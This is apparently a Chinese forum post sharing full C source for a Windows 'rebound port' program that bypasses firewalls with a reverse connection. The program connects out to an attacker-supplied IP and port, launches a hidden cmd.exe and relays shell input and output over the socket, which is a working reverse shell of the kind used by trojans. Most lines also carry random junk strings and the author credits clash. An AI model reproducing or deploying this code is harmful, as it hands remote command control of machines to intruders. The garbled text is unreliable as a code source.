这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 j8L!miv6
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/* ============================== 3<CCC+47
Rebound port in Windows NT s9@/(_
By wind,2006/7 t|%wVj?_
===============================*/ f9F@G&&Ugg
#include [C9 ->`(`
#include ON\_9\kv
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#pragma comment(lib,"wsock32.lib") AWc7TW
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void OutputShell(); @|idlIey
SOCKET sClient; "i(k 8+iK
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Bc`jkO.q
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void main(int argc,char **argv) uL\ B[<:
{ r|:i: ii
WSADATA stWsaData; U;Y{=07a@
int nRet; ^#9
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SOCKADDR_IN stSaiClient,stSaiServer; "VRc R
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if(argc != 3) n0:'h}^
{
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printf("Useage:\n\rRebound DestIP DestPort\n"); xJ:15eDC
return; >A;Mf*E
} m?V4r#t
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WSAStartup(MAKEWORD(2,2),&stWsaData); 4%0eX]
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); T'"aStt6
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stSaiClient.sin_family = AF_INET; O=?WI
stSaiClient.sin_port = htons(0); d dkh*[
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 67wY_\m 9I
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 4RGEg;]S
{ @bSxT,2
printf("Bind Socket Failed!\n"); {m.l{<H
return; $h"tg9L^)
} ?~Fk_#jz,@
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stSaiServer.sin_family = AF_INET; hOx'uO`x(
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); & gnE"
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); ,`ST Va-
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR)
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{ dgh)Rfp3
printf("Connect Error!"); y1G Vn o
return; TL-sxED,,D
} (sHqzWh
OutputShell(); y0k*iS
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} GsA/pXx
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void OutputShell() jeXv)}
{
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char szBuff[1024]; SV0E7qX
SECURITY_ATTRIBUTES stSecurityAttributes; 8D@H4O.
OSVERSIONINFO stOsversionInfo; }RowAGWL
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Soy!)c]
STARTUPINFO stStartupInfo; }OZp[V
char *szShell; 9~2}hXm;
PROCESS_INFORMATION stProcessInformation; aVNBF`
unsigned long lBytesRead; yV,ki^^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $6e&sDJ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); h,o/(GNnW
stSecurityAttributes.lpSecurityDescriptor = 0; j6]+fo&3
stSecurityAttributes.bInheritHandle = TRUE; +P:xB0Tm
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); l=,\ h&
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); 2oyTS*2u_&
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Y&!M#7/'J3
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; , 7&`V=C
stStartupInfo.wShowWindow = SW_HIDE; @*P$4c
stStartupInfo.hStdInput = hReadPipe; ACm9H9:Vd
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ^ ]02)cK
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GetVersionEx(&stOsversionInfo); D/uGL
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switch(stOsversionInfo.dwPlatformId) _H@Y%"ZHJ6
{ 5N<f\W,
case 1: 78zjC6}`
szShell = "command.com"; (hWr!(>C4]
break; \n$s5i-
default: G-
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szShell = "cmd.exe"; +RWP;rk
break; HI)MBrj;r
} 4+2XPaIm
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); /I&Hq7SW`
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send(sClient,szMsg,77,0); $8zsqd 4?
while(1) K=T]@ix$
{ &~gqEl6RF
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ^L#\z7
if(lBytesRead) k`FCyO
{ feU]a5%XZ
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 5mxHOtvtWM
send(sClient,szBuff,lBytesRead,0); 4gbi?UAmX
} z(V?pHv+
else D#Fe\8!l
{ V;0{o
lBytesRead=recv(sClient,szBuff,1024,0); aV"K%#N
if(lBytesRead<=0) break; E]$YM5
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); Jf6uE?.
} Elth xj
} {,EOSta
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return; jyQBx
}